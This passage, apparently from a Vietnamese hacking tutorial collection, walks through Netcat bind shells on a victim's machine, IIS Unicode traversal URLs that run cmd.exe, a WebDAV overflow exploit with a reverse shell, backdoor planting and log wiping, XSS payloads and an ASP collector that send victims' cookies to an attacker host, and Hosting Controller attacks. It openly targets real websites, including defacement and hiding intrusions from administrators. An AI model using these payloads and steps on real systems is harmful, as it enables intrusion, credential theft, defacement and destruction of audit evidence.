steath(không hiển thị trên thanh Taskbar)
-e prog --- thi hành chương trình prog, thường dùng trong chế độ lắng nghe
-h ----------- gọi hướng dẫn
-i secs ----- trì hoãn secs mili giây trước khi gởi một dòng dữ liệu đi
-l ------------- đặt Netcat vào chế độ lắng nghe để chờ các kết nối đến
-L ------------ buộc Netcat "cố" lắng nghe. Nó sẽ lắng nghe trở lại sau mỗi khi ngắt
một kết nối.
-n ------------ chỉ dùng địa chỉ IP ở dạng số, chẳng hạn như 192.168.16.7, Netcat sẽ
không thẩm vấn DNS
-o ------------ file ghi nhật kí vào file
-p port ----- chỉ định cổng port
-r yêu cầu Netcat chọn cổng ngẫu nhiên(random)
-s addr ----- giả mạo địa chỉ IP nguồn là addr
-t ------------- không gởi các thông tin phụ đi trong một phiên telnet. Khi bạn telnet
đến một telnet daemon(telnetd), telnetd thường yêu cầu trình telnet client của bạn gởi
đến các thông tin phụ như biến môi trường TERM, USER. Nếu bạn sử dụng netcat với
tùy chọn -t để telnet, netcat sẽ không gởi các thông tin này đến telnetd.
-u ------------- dùng UDP(mặc định netcat dùng TCP)
-v ------------- hiển thị chi tiết các thông tin về kết nối hiện tại.
-vv ----------- sẽ hiển thị thông tin chi tiết hơn nữa.
-w secs ---- đặt thời gian timeout cho mỗi kết nối là secs mili giây
-z ------------- chế độ zero I/O, thường được sử dụng khi scan port
Netcat hổ trợ phạm vi cho số hiệu cổng. Cú pháp là cổng1-cổng2. Ví dụ: 1-8080
nghĩa là 1,2,3,..,8080
http://wWw.Hack.Cf Page 178
d . ) Tìm hiểu Netcat qua các VD :
_ Chộp banner của web server :
Ví dụ: nc đến 172.16.84.2, cổng 80
CODE
C:>nc 172.16.84.2 80
HEAD / HTTP/1.0 (tại đây bạn gõ Enter 2 lần)
HTTP/1.1 200 OK
Date: Sat, 05 Feb 2000 20:51:37 GMT
Server: Apache-AdvancedExtranetServer/1.3.19 (Linux-Mandrake/3mdk)
mod_ssl/2.8.2
OpenSSL/0.9.6 PHP/4.0.4pl1
Connection: close
Content-Type: text/html
Để biết thông tin chi tiết về kết nối, bạn có thể dùng –v ( -vv sẽ
cho biết các thông tin chi tiết hơn nữa)
C:>nc -vv 172.16.84.1 80
CODE
172.16.84.1: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [172.16.84.1] 80 (?) open
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Date: Fri, 04 Feb 2000 14:46:43 GMT
Server: Apache/1.3.20 (Win32)
Last-Modified: Thu, 03 Feb 2000 20:54:02 GMT
ETag: "0-cec-3899eaea"
Accept-Ranges: bytes
Content-Length: 3308
Connection: close
Content-Type: text/html
sent 17, rcvd 245: NOTSOCK
Nếu muốn ghi nhật kí, hãy dùng -o <tên_file>. Ví dụ:
nc -vv -o nhat_ki.log 172.16.84.2 80
xem file nhat_ki.log xem thử nó đã ghi những gì nhé :
CODE
< 00000000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d # HTTP/1.1 200 OK.
< 00000010 0a 44 61 74 65 3a 20 46 72 69 2c 20 30 34 20 46 # .Date: Fri, 04 F
< 00000020 65 62 20 32 30 30 30 20 31 34 3a 35 30 3a 35 34 # eb 2000 14:50:54
http://wWw.Hack.Cf Page 179
< 00000030 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 # GMT..Server: Ap
< 00000040 61 63 68 65 2f 31 2e 33 2e 32 30 20 28 57 69 6e # ache/1.3.20 (Win
< 00000050 33 32 29 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 # 32)..Last-Modifi
< 00000060 65 64 3a 20 54 68 75 2c 20 30 33 20 46 65 62 20 # ed: Thu, 03 Feb
< 00000070 32 30 30 30 20 32 30 3a 35 34 3a 30 32 20 47 4d # 2000 20:54:02 GM
< 00000080 54 0d 0a 45 54 61 67 3a 20 22 30 2d 63 65 63 2d # T..ETag: "0-cec-
< 00000090 33 38 39 39 65 61 65 61 22 0d 0a 41 63 63 65 70 # 3899eaea"..Accep
< 000000a0 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d # t-Ranges: bytes.
< 000000b0 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a # .Content-Length:
< 000000c0 20 33 33 30 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f # 3308..Connectio
< 000000d0 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e # n: close..Conten
< 000000e0 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d # t-Type: text/htm
< 000000f0 6c 0d 0a 0d 0a # l....
dấu < nghĩa là server gởi đến netcat
dấu > nghĩa là netcat gởi đến server
_ Quét cổng :
Bạn hãy chạy netcat với tùy chọn –z . Nhưng để quét cổng nhanh hơn, bạn hãy dùng
-n vì netcat sẽ không cần thấm vấn DNS. Ví dụ để scan các cổng TCP(1->500) của
host 172.16.106.1
CODE
[dt@vicki /]# nc -nvv -z 172.16.106.1 1-500
(UNKNOWN) [172.16.106.1] 443 (?) open
(UNKNOWN) [172.16.106.1] 139 (?) open
(UNKNOWN) [172.16.106.1] 111 (?) open
(UNKNOWN) [172.16.106.1] 80 (?) open
(UNKNOWN) [172.16.106.1] 23 (?) open
nếu bạn cần scan các cổng UDP, dùng -u
CODE
[dt@vicki /]# nc -u -nvv -z 172.16.106.1 1-500
(UNKNOWN) [172.16.106.1] 1025 (?) open
(UNKNOWN) [172.16.106.1] 1024 (?) open
(UNKNOWN) [172.16.106.1] 138 (?) open
(UNKNOWN) [172.16.106.1] 137 (?) open
(UNKNOWN) [172.16.106.1] 123 (?) open
(UNKNOWN) [172.16.106.1] 111 (?) open
_ Biến Netcat thành một trojan :
Trên máy tính của nạn nhân, bạn khởi động netcat vào chế độ lắng nghe, dùng tùy
chọn –l ( listen ) và -p port để xác định số hiệu cổng cần lắng nghe, -e
<tên_chương_trình_cần_chạy> để yêu cầu netcat thi hành 1 chương trình khi có 1
kết nối đến, thường là shell lệnh cmd.exe ( đối với NT) hoặc /bin/sh(đối với Unix). Ví
http://wWw.Hack.Cf Page 180
dụ:
CODE
E:>nc -nvv -l -p 8080 -e cmd.exe
listening on [any] 8080 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3159
sent 0, rcvd 0: unknown socket error
Trên máy tính dùng để tấn công, bạn chỉ việc dùng netcat nối đến máy nạn nhân
trên cổng đã định, chẳng hạn như 8080
CODE
C:>nc -nvv 172.16.84.2 8080
(UNKNOWN) [172.16.84.2] 8080 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
E:>cd test
cd test
E:test>dir /w
dir /w
Volume in drive E has no label.
Volume Serial Number is B465-452F
Directory of E:test
[.] [..] head.log NETUSERS.EXE NetView.exe
ntcrash.zip password.txt pwdump.exe
6 File(s) 262,499 bytes
2 Dir(s) 191,488,000 bytes free
C:test>exit
exit
sent 20, rcvd 450: NOTSOCK
Như các bạn đã thấy , ta có thể làm những gì trên máy của nạn nhân rồi , chỉ cần
một số lệnh cơ bản , ta đã chiếm được máy tính của đối phương , các bạn hãy xem
tiếp nhé :
CODE
E:>nc -nvv -L -p 8080 -e cmd.exe
listening on [any] 8080 ...?
?
Riêng đối với Netcat cho Win, bạn có thể lắng nghe ngay trên cổng đang lắng nghe.
Chỉ cần chỉ định địa chỉ nguồn là -s<địa_chỉ_ip_của_máy_này>. Ví dụ:
CODE
netstat -a
...
TCP nan_nhan:domain nan_nhan:0 LISTENING <- cổng 53 đang lắng nghe
http://wWw.Hack.Cf Page 181
...
E:>nc -nvv -L -e cmd.exe -s 172.16.84.1 -p 53 -> lắng nghe ngay trên cổng 53
listening on [172.16.84.1] 53 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3163?
?
Trên Windows NT, để đặt Netcat ở chế độ lắng nghe, không cần phải có quyền
Administrator, chỉ cần login vào với 1 username bình thường khởi động Netcat là
xong.
Chú ý: bạn không thể chạy netcat với ... -u -e cmd.exe... hoặc ...-u -e /bin/sh... vì
netcat sẽ không làm việc đúng. Nếu bạn muốn có một UDP shell trên Unix, hãy dùng
udpshell thay cho netcat.
( Dựa theo bài viết của huynh Vicky )
49 . ) Kỹ thuật hack IIS server 5.0 :
_ IIS server với các phiên bản từ trước đến phiên bản 5.0 đều có lỗi để ta có thể khai
thác , do bây giờ hầu hết mọi người đều dùng IIS server 5.0 nên lỗi ở các phiên bản
trước tôi không đề cập đến . Bây giờ tôi sẽ bày các bạn cách hack thông qua công cụ
activeperl và IE , các bạn có thể vận dụng cho các trang Web ở VN vì chúng bị lỗi
này rất nhiều . Ta hãy bắt đầu nhé .
_ Trước hết các bạn hãy download activeperl và Unicode.pl .
_ Sử dụng telnet để xác định trang Web ta tấn công có sử dụng IIS server 5.0 hay
không :
CODE
telnet < tên trang Web > 80
GET HEAD / HTTP/1.0
Nếu nó không báo cho ta biết mục tiêu đang sử dụng chương trình gì thì các bạn hãy
thay đổi cổng 80 bằng các cổng khác như 8080, 81, 8000, 8001 .v.v…
_ Sau khi đã xác định được mục tiêu các bạn vào DOS gõ :
CODE
perl unicode.pl
Host: ( gõ địa chỉ server mà các bạn muốn hack )
Port: 80 ( hoặc 8080, 81, 8000, 8001 tuỳ theo cổng mà ta đã telnet trước đó ) .
_ Các bạn sẽ thấy bảng liệt kê lỗi ( đã được lập trình trong Unicode.pl ) như sau :
CODE
[1] /scripts/..%c0%af../winnt/system32/cmd.exe?/c+
[2]/scripts..%c1%9c../winnt/system32/cmd.exe?/c+
[3] /scripts/..%c1%pc../winnt/system32/cmd.exe?/c+
[4]/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+
[5] /scripts/..%c0%qf../winnt/system32/cmd.exe?/c+
http://wWw.Hack.Cf Page 182
[6] /scripts/..%c1%8s../winnt/system32/cmd.exe?/c+
[7] /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+
[8] /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+
[9] /scripts/..%c1%af../winnt/system32/cmd.exe?/c+
[10] /scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+
[11]/scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+
[12] /scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+
[13]/scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+
[14]/msadc/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system3
2/cmd.exe?/c+
[15]/cgi-
bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+
[16]/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cm
d.exe?/c+
[17]/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/c
md.exe?/c+
[18]/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd
.exe?/c+
[19]/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd
.exe?/c+
[20]/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/c
md.exe?/c+
Các bạn sẽ thấy được tất cả các lỗi trên nếu trang Web nạn nhân bị tất cả những lỗi
như vậy , nếu server của nạn nhân chỉ bị lỗi thứ 13 và 17 thì bảng kết quả chỉ xuất
hiện dòng thứ 13 và 17 mà thôi .
Tôi lấy VD là bảng kết quả cho tôi biết trang Web nạn nhân bị lỗi thứ 3 và 7 , tôi sẽ
ra IE và nhập đoạn mã tương ứng trên Address :
http://www.xxx.com/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+ < == lỗi
dòng thứ 3
hoặc
http://www.xxx.com/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+ < == lỗi
dòng thứ 7
Đến đây các bạn đã có thể xâm nhập vào server của nạn nhân rồi đó , các bạn hãy
sử dụng lệnh trong DOS mà khai thác thông tin trong này . Thông thường các trang
Web nằm ở thư mục vinetpubwwwroot , các bạn vào được rồI thì chỉ cần thay
index.html vớI tên hack by …. Là được rồi , đừng quậy họ nhé .
GOOKLUCK!!!!!!!!!!!!!!!
( Hết phần 8 )
Bài viết của ANHDENDAY
Đây là phần 9
http://wWw.Hack.Cf Page 183
50 . ) Kỹ thuật hack server thông qua lỗi tràn bộ đệm WebDAV :
_ Giới thiệu : Giao thức World Wide Web Distributed Authoring and Versioning
(WebDAV) là một tập hợp các mở rộng cho giao thức HTTP dùng để cung cấp một
cách thức chuẩn cho việc biên tập và quản lý file giữa các máy tính trên Internet. Lỗi
tràn bộ đệm đã được phát hiện trong một thành phần của Windows 2000 được sử
dụng bởi WebDAV có thể cho phép kẻ tấn công chiếm quyền điều khiển máy tính .
_ Chuẩn bị : Ngoài những đồ nghề đã giới thiệu ở các bài trước , các bạn hãy vào
down thêm www32.brinkster.com/anhdenday/wb.zip extract để ở trong C:
_ Khai thác :
+ Tìm một trang Web dùng IIS 5.0
+ Vào Dos , vào đặt NETCAT ở chế độ lắng nghe :
CODE
C:>nx -vv -l -p 53
listening on [any] 53 ...
Ta để nó lắng nghe ở cổng 53 vì tường lửa ko chặn cổng này .
+ Mở thêm một của sổ DOS nữa .
+ Ta sử dụng WebDAV vừa down về .
c:wb.exe <IP của máy chủ IIS> <IP của máy tính của mình dùng để tấn công>
<cổng lắng nghe> [padding=1,2,3...]
VD :
CODE
C:> webdav xxx.xxx.xxx.xxx 203.162.xxx.xxx 53 1
[Crpt] ntdll.dll exploit trough WebDAV by kralor [Crpt]
www.coromputer.net && undernet #coromputer
Checking WebDav on 'xxx.xxx.xxx.xxx' ... FOUND
exploiting ntdll.dll through WebDav [ret: 0x00100010]
Connecting... CONNECTED
Sending evil request... SENT
Now if you are lucky you will get a shell.
+ Nếu như may mắn bạn có thể lấy được shell của máy chủ IIS . Nếu như ở máy tính
dùng để tấn công hiện ra kết quả như sau thì bạn đã có shell rồi đó :
CODE
C:>nc -vv -l -p 53
listening on [any] 53 ...
connect to [203.162.xxx.xxx] from xxx.xxx.xxx.xxx[xxx.xxx.xxx.xxx] 1125
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
http://wWw.Hack.Cf Page 184
C:WINNTsystem32> <-- OK đã thành công rùi. :mellow: :mellow: :mellow:
+ Khi đã có shell rồi việc đầu tiên là ta sử dụng các lệnh trong Unix để khai thác ,
sau đó up lên server vài con backdoor , he he . ( Sử dụng con WinShell, Hack
Defensed là ok rùi ) .
+ Sau khi làm xong ta sẽ xoá file log , để xác định file log ta thực hiện câu truy vấn
sau :
CODE
C:WINNTsystem32>reg query
HKLMSYSTEMCurrentControlSetServicesW3SVCParameters /v LogFileDirectory !
REG.EXE VERSION 2.0
kết quả nó sẽ xuất hiện link để ta xác định file log :
CODE
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesW3SVCParameters
LogFileDirectory REG_SZ C:WINNTSystem32LogFiles
He he , đường dẫn file log là C:WINNTSystem32LogFiles
+ Ta tạo một file a.bat trên máy của nạn nhân để thực hiện việc xoá file log này , ta
đánh các lệnh sau :
CODE
C:WINNTsystem32>echo iisreset /stop >a.bat ' tạm dừng server IIS
C:WINNTsystem32>echo rd /q /s C:WINNTSystem32LogFiles >>a.bat ' xóa nhật
kí của IIS
C:WINNTsystem32>echo iisreset /start >>a.bat ' khởi động lại IIS
C:WINNTsystem32>echo ce >>a.bat ' xóa nhật kí của Event Log
C:WINNTsystem32>echo del a.bat >>a.bat ' xóa file a.bat
+ Sau đó ta dùng các lệnh sau để cho flie a.bat kia làm việc :
CODE
C:WINNTsystem32>net time xxx.xxx.xxx.xxx ' lấy thời gian hiện tại của máy chủ
Nó sẽ cho kết quả như VD sau :
CODE
Current time at xxx.xxx.xxx.xxx is dd/mm/yy 3:00 PM
The command completed successfully
.
Như vậy thờI gian hiện tạI trên máy chủ là 15:00 , ta sẽ cho file a.bat làm việc sau 5
http://wWw.Hack.Cf Page 185
phút nữa bằng lệnh sau :
CODE
C:WINNTsystem32>at 15:05 a.bat
Added a new job with job ID = 1
Ta có thể mặc đinh cho file a.bat tự động làm việc sau bao lâu là tuỳ vào thông số
thời gian bạn đưa vào .
Ta thoát khỏi máy chủ bằng lệnh :
CODE
C:WINNTsystem32>exit ' đóng kết nối
sent 207, rcvd 746
+ Lúc này thì mấy admin có tài thánh cũng ko biết là đã có người thâm nhập.
_ Sau này các bạn muốn quay lại cái server trên thì ta đột nhập trực tiếp thông qua
backdoor các bạn đã up lên.
_ Kèm theo file Wb.exe tôi đã để thêm 2 file nữa đó là :
+ xoafilelog.exe : dùng để xoá file log trong server của victim .
+ wbscaniis.xpn : dùng để quét xem server victim có bị lỗi này cho ta khai thác hay
không , các bạn tự tìm hiểu để sử dụng chúng nhé.
( Tham khảo từ bài viết của seamoun )
51 . ) Lỗi CROSS SITE SCRIPTING và cách khai thác :
_ Giới thiệu : Lỗi XSS ( tên gọi của Cross-Site Scripting ) nói nôm na là hacker có thể
thông qua lỗi này để chèn code vào site hay link để chôm các thông tin quan trọng từ
nạn nhân, các thông tin quan trọng ở đây có thể là cookie hoặc username + pass để
vào tài khoản 1 ngân hàng nào đó sau đó thông tin này được gửi tới cho hacker .
_ Chuẩn bị :
+ Lấy đoạn code sau save lại thành file cookie.asp rồi up lên host của bạn có hỗ trợ
asp ( như brikster.com ) :
CODE
<%
Set x = CreateObject("Scripting.FileSystemObject")
Set y = x.OpenTextFile(Server.MapPath("mask.txt"), 8, true)
y.WriteLine Request.QueryString("cookie")
y.Close
Set y = Nothing
Set x = Nothing
%>
_ Kiểm tra trang Web bị lỗi :
+ 1 site bất kì bao giờ cũng có 1 hoặc tất cả các phần sau : search results, error
messages , Web-form , chủ yếu lỗi XSS nằm ở các phần này , nói chung là XSS có
http://wWw.Hack.Cf Page 186
thể xảy ra ở chỗ nào mà người dùng có thể nhập dữ liệu vào và sau đó sẽ nhận được
1 cái gì đó .
+ Cách tìm lỗi ta chia thành 4 bước :
Bước 1 : Mở website cần kiểm tra .
Bước 2 : Bắt đầu kiểm tra , định vị 1 ô tìm kiếm hoặc 1 login form và gửi thông tin đi
(nhập thông tin và nhấn submit hay login hay ok gì đó ) , ví dụ nhập chữ "abc"
chẳng hạn hay chữ gì cũng được .
Bước 3 : Xác định khả năng site có bị lỗi XSS hay không bằng cách xem thông tin trả
về :
Ví dụ bạn thấy như thế này :
"Your search for 'abc' did not find any items"
"Your search for 'abc' returned the following results"
"User 'abc' is not valid"
"Invalid login 'abc'"
hoặc là cái gì đó mà có dính tới chữ "abc" mà bạn nhập vào ban đầu thì 99% thằng
này bi XSS
Bước 4 : Chèn code thực sự vào nơi bị lỗi :
chèn cái này :
<script>alert('abc')</script>
vào ô ban nãy và nhấn SUBMIT . Nếu sau đó bạn nhận được 1 popup có chữ "abc" thì
thằng này 100% bị dính XSS . Nhưng xin chú ý , thỉnh thoảng vẫn có trường hợp
website đó bị dính XSS nhưng vẫn không xuất hiện cái popup thì buộc lòng bạn phải
VIEW SOURCES nó ra để xem . Khi view sources nhớ kiếm dòng
này<script>alert('abc')</script> , nếu có thì XSS đây rồi .
Một ví dụ khác thường gặp hơn :
Gọi http://sitebiloi.com là site bị dính lỗi XSS và ta tìm được nơi bị lỗi như thế này :
..." target=_blankhttp://sitebiloi.com/?page=<script>...<script> , nghĩa là ta có thể
chèn code ngay trên thanh ADDRESS .
Tôi không thể trình bày hết mọi tình huống được , cái mà các bạn cần là hiểu ra vấn
đề thì bạn sẽ hiểu được khi nào bị lỗi .
_ Khai thác :
+ Lấy lại ví dụ site bị XSS trên thanh address , để lấy cookie của nạn nhân ta làm
như thế này :
http://sitebiloi.com/index.asp?page=<script>window.open("http:// địa chỉ trang
Web ta vừa up file cookie. asp lên /cookie.asp?cookie="+document.cookie)</script>
thì ngay lập tức đoạn code đã được chèn vào trong web page , và trông như vầy :
CODE
-----------------------------------------------------------
<HTML>
<TITLE> Hello all! </TITLE>
hello
<script>window.open("địa chỉ trang Web ta vừa up file cookie.asp lên
/cookie.asp?cookie="+document.cookie)</script>
...
</HTML>
--------------------------------------------------------------
http://wWw.Hack.Cf Page 187
Với đoạn code này thì trình duyệt sẽ thi hành đoạn code và sau đó sẽ gửi toàn bộ
cookie tới cho bạn ở dạng file .txt và bạn chỉ việc mở file này ra xem .
+ Vậy gặp trường hợp nhà quản trị hạn chế sự xâm nhập bằng cách lọc bỏ các ký tự
đặc biệt ta phải làm sao ? Các bạn thử cách thay thế các ký tự đó bằng các mã đại
diện . VD :
* Nếu "Bộ lọc" loại bỏ 2 kí tự "<" và ">" :
Hacker sẽ dùng "x3c" và "x3e" để thay thế và bắt đầu chèn code với
') + ') + 'x3cscript
src=http://hostbanupfile.com/cookie.asp?cookie="+document.cookiex3ex3c/script
x3e'
Để tìm hiểu thêm về mã đại diện các bạn hãy download tại :
www32.brinkster.com/anhdenday/ascii.zip về nghiên cứu .
+ Biến các đoạn code nguy hiểm thành lời chú giải (comment) :
Ví dụ khi hacker nhập vào <script>code</script> thì sẽ bị chặn như sau :
CODE
<COMMENT>
<!--
code (không được phân tích bởi bộ lọc)
//-->
</COMMENT>
Vượt qua cái này cũng rất dễ bằng cách dùng thẻ đóng </COMMENT> để đóng cái
<COMMENT> kia . Nghĩa là ta chèn cái này vào :
<script>
</COMMENT>
<img src="http://none" onerror="alert(abc was here);window.open(
http://sitebanupfile.com/cookie.asp?cookie...cument.cookie); "></script>
lúc này đoạn lọc code ban đầu trở thành :
<COMMENT>
CODE
<!--
- -->
</COMMENT>
<img src="h*tp://none" onerror="alert(abc was here);window.open(
http://sitebanupfile.com/cookie.asp?cookie...cument.cookie); ">
</script>
</COMMENT>
http://wWw.Hack.Cf Page 188
và thế là bộ lọc bị vô hiệu hoá 1 cách nhanh chóng .
( Dựa theo bài viết của Mask_NBTA )
52 . ) Tìm hiểu về lỗ hổng Unicode trong Microsoft IIS :
_Giới thiệu: Microsoft IIS là một phần mềm web server. Nó chứa tất cả file của một
website, và làm chúng có hiệu lực cho mọi người dùng trên internet. Nhưng như tất
cả các phần mềm khác, (đặc biệt là của Microsoft) nó có lỗ hỏng bảo mật Unicode
trong IIS của Microsoft, nhưng "không may" những người quản trị thì lại không quan
tâm đến việc cài đặt những patch fix lỗi đó. Trong bài hướng dẫn này, ta thảo luận
về cách mà lỗi này hoạt động, và Tại sao nó hoạt động được.
Khi bạn viếng thăm một website, địa chỉ của file bạn hiện giờ đang xem sẽ giống như
sau:
http://www.someserver.com/
Đây là remote address của web server, hiển thị trên thanh address của trình duyệt.
Bất kỳ ai cũng có thể truy cập nó trên internet. Khi vào site này, web server sẽ đưa
cho bạn file index, (index.html hay ) của root folder web server. Hầu hết những root
folder của một web server là:
C:inetpubwwwroot
Đây là thư mục local của web servers, nơi cất giữ tất cả các trang chính của website.
Vì vậy nếu bạn gõ địa chỉ sau:
http://www.someserver.com/index.html
Ở trình duyệt, web server sẽ đưa cho bạn local file của nó:
c:inetpubwwwrootindex.html
Tôi hy vọng bạn sẽ không quá nhàm chán, việc quan trọng nhất là bạn phải hiểu
được sự khác nhau giữa địa chỉ local và remote.
Bây giờ, cái gì sẽ xảy ra nếu ta muốn di chuyển một cặp thư mục lên web server? Ta
muốn di chuyển từ c:inetpubwwwroot Đến c: chúng ta sẽ làm như thế nào? Bạn
không thể gõ:
http://www.someserver.com/c:
Chú thích Web server sẽ bắt đầu đi qua local của nó
c:inetpubwwwroot
Đối với những thư mục riêng, và do bạn không thể có : trong thư mục, nó sẽ đỗ vỡ
http://wWw.Hack.Cf Page 189
và bạn nhận được thông báo lỗi trong trình duyệt.
Tiếc quá! nó không hoạt động.
Nếu đã quen với FTP, thì bạn cũng biết lệnh DIRUP dùng để làm gì.
Lệnh để đi đến một thư mục ở trên là
/../
Nếu bạn thiết kế bất kỳ web hay mã html nào thì chắc chắn bạn sẽ dùng được rất
nhiều.
Vì thế ta chỉ đặt lệnh lẫn nhau, giống như sau
http://www.someserver.com/../../
Và bắt đầu truy cập vào ổ đĩa c local của server?
Tốt, ta bắt đầu khai thác ở đây, nhưng người tạo IIS lại muốn tránh phiền phức,
bằng cách làm server từ chối loại yêu cầu này.Vì thế ta phải làm gì đây?Bạn có bao
giờ thử download một file mà trong tên của nó có khoảng trống chưa?
Bạn có nhận được thông báo là trình duyệt đã biến đổi khoảng trống đó thành %20
không?
Hãy làm 1 ví dụ. Nếu bạn gõ cái này trong trình duyệt:
http://www.someserver.com/iis Unicode hole.txt
Trình duyệt sẽ thay thế khoảng trống bằng %20 :
http://www.someserver.com/iis%20unicode%20hole.txt
Và sau đó mới cho phép bạn download file.
Đó là cái gì, và tại sao trình duyệt lại phải làm như thế?
Máy tính không thể hiểu được khoảng trống. Đơn giản là chúng không làm được vậy
thôi.
%20 ở đây chính là Unicode cho ký tự ASCII mà ta hay gọi là “khoảng trống”.
Ký tự ASCII là những ký tự mà ta thấy trên màn hình khi dùng máy tính. Chỉ có một
Unicode cho mỗi ký tự ASCII. Vì thế, khi bạn đưa một khoảng trống vào trình duyệt,
nó phải được thay thế bằng cái gì mà cho máy tính có thể hiểu được trước khi nó bắt
đầu tìm kiếm.
Để tìm hiểu thêm về ASCII các bạn down tại :
www32.brinkster.com/anhdenday/ascii.zip
Từ khi trình duyệt biến đổi khoảng trống thành ký tự Unicode mới và gửi chúng đến
web server mà có thể hiểu được, ta cũng có thể dùng ký tự Unicode để giải thích bất
cứ thứ gì ta muốn, và web server sẽ cũng hiểu được chúng. Không chỉ với khoảng
trống. Mà ta cũng có thể biến đổi lệnh DIRUP thành Unicode, và gửi chúng đến
server. Ta cần biến đổi dấu gạch chéo (/) thành /../../ trong Unicode. Unicode của /
là %5C .
Thật là tuyệt, nếu sau đó tôi chỉ cần gõ
http://www.someserver.com/..%5C.. %5C/
và tôi có thể thấy host được không?
Khai thác ở đây, nhưng có một vài lý do nó không hoạt động.
Đầu tiên, nếu bạn đã làm với server’s local c: Bạn sẽ cần một vài thứ để đóng thư
mục. Web server sẽ không làm như vậy cho bạn. Vì vậy chúng ta cần mở cmd.exe
http://wWw.Hack.Cf Page 190
(dấu nhắc DOS) của server. Trong trình duyệt của bạn! Nhưng chúng ta sẽ quay lại
vấn đề này sau.
Thứ hai, khi server giải mã /..%5C.. %5C/
Nó sẽ thành /../../ mà lại bị hạn chế, và sau đó từ chối yêu cầu. Vì thế ta cần phải
làm gì, hay mã hoá Unicode đã mã hóa rồi một lần nữa. Có thể bạn sẽ không theo tôi
ngay bây giờ, nhưng tôi sẽ cố gắng giải thích một lần nữa. Ta cần mã hoá mọi ký tự
của chuỗi Unicode đã có.
Xem bảng dưới sẽ hiểu hơn.
CODE
[COLOR=purple]ASCII................................. UNICODE[/COLOR]
%........................................ %25
5.......................................... %35
C............................ .............%43
Vì vậy khi ta mã hóa ký tự ASCII /..%5C.. %5C/
Sang Unicode, ta được ..%25%35%43..%25%35%43
Và khi server đọc chuỗi ký tự này, nó sẽ trở lạI /..%5C.. %5C/
Đó không phải là lệnh DIRUP bình thường, nên nó được cho phép.
Nhưng có một vài thứ chúng ta cần biết. Như tôi đã đề cập ở trước, khi bạn kết nối
đến một web server, thư mục root mặc định là wwwroot. Thư mục này những trang
chính của site. Nhưng có những thư mục khác cho những trang web như yếu tố
scripts. Những thư mục này có chứa file mà có khá nhiều thứ quan trọng trong web
server. Vì vậy khi vận dụng server, ta cần làm nó từ thư mục mà ta đã có đặc quyền
để làm. Điều này không khó; Tôi chỉ muốn bạn hiểu tại sao tôi thêm /scripts/ vào
cuối URL.
Rốt cuộc, khi ta thi hành lệnh ở dấu nhắc server’s local dos prompt, ta cần thi hành
một lệnh cũng trong cái này. Ta muốn hiển thị c: ? Dễ thôi; ta chỉ cần làm vài thủ
thuật khác hơn bạn thường làm ở dấu nhắc dos.
Bắt đầu cmd.exe theo cách sau:
cmd.exe?/c+
? = Mọi thứ sau dòng đối số của lệnh.
/c = Thi hành lệnh, sau đó đóng cmd.exe (để cho nó không chạy mãi)
+ = Thay thế cho khoảng trống
Cuối cùng, toàn bộ lệnh ráp lại sẽ như sau:
http://www.myserver.com/scripts/..%25%35%43..%25%35%43/winnt/system32/c
md.exe?/c+dir+c:
Và bạn thấy được c: của servers bên trong trình duyệt. Hehe?
_ Chú thích: Có rất nhiều “lệnh” Unicode khác để cho ta thi hành, nếu cái này không
hoạt động (có thể server đã fix được phần nào) thì thử áp dụng những cách sau:
http://wWw.Hack.Cf Page 191
CODE
/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+C:
/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe
?/c+dir+C: …….
( Một bài viết rất chất lượng của LeonHart bên www.whatvn.com )
53 . ) Kỹ thuật hack Hosting controller :
_Tìm site bị lỗi : vào Google.com đánh vào một trong các từ khoá sau :
+ copyright Hosting Controller .
+ allinurl:/advadmin .
+ allinurl:/admin .
Sau khi tìm được ta thử xét trang Web đó có bị lỗi hay ko bằng cách sử dụng 2 đoạn
code :
CODE
http://www.victim.com/advwebadmin*hoac
admin*/stats/statsbrowse.asp?filepath=c:&Opt=3
( Lệnh này xem ổ đĩa của victim )
www.victim.com/advwebadmin/autosignup/newwebadmin.asp
( Lệnh này tạo một free hosting )
Nếu như 2 lệnh trên cùng thực hiên được thì ta có thể khai thác chúng được rồi đó ,
he he .
_ Cách khai thác :
+ Vì tạo được hosting nên ta có thể upload được file vô tư , các bạn hãy chú ý thử
xem địa chỉ mà cất các file ta vừa upload lên ở đâu ( bằng cách nhìn vào thanh
statup ) .
